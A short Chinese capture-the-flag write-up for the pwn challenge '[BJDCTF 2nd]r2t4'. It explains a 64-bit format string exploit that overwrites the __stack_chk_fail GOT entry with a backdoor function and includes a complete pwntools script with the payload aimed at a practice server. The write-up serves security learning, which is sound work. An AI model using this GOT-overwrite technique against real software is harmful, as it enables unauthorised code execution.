格式化漏洞——[BJDCTF 2nd]r2t4
默认操作
可以看到printf存在格式化字符串漏洞,可以修改got表
此时看到一个后门函数
还发现一个
网上查了一下就是当栈溢出时调用这个函数
那么基本思路就是通过格式化字符串漏洞修改stack_chk_fail的got表为后门函数,然后造成栈溢出调用后门函数
然而这道题是64位,和32位格式化漏洞有所不同
参考一下文章https://blog.csdn.net/weixin_44864859/article/details/105129673
大致来说就是
1.一般payload构造都是地址+%xc%x$n (x为偏移和填充的字符数)
在64位中由于地址的0过多当printf打印到地址是会造成遇到0停止,后面的就不执行了,所以将两者位置互换,此时偏移也要计算一下
2.使用%xc来代替‘a’*addr,因为字符太多可能传不过去
3.使用%hn或%hhn来代替%n防止太大
首先先计算偏移
可以看出buf的偏移为6
然后构建payload
payload="%64c%9$hn%1510c%10$hnaaa"+p64(addr_got+2)+p64(addr_got)
想要赋值的地址如上图
40比626小,为方便就先赋值高位在赋值低位
偏移为6+3=9,6是buf本身的偏移,3是输入字符串+aaa有24字节,所以在+3偏移
exp:
from pwn import *
from LibcSearcher import *
elf=ELF('./r2t4')
#p=process('./r2t4')
p=remote('node3.buuoj.cn',27463)
addr_got=elf.got['__stack_chk_fail']
payload="%64c%9$hn%1510c%10$hnaaa"+p64(addr_got+2)+p64(addr_got)
p.sendline(payload)
p.interactive()
什么时候才能脱离一分题啊!!!
//看了一眼还有50多道,我吐了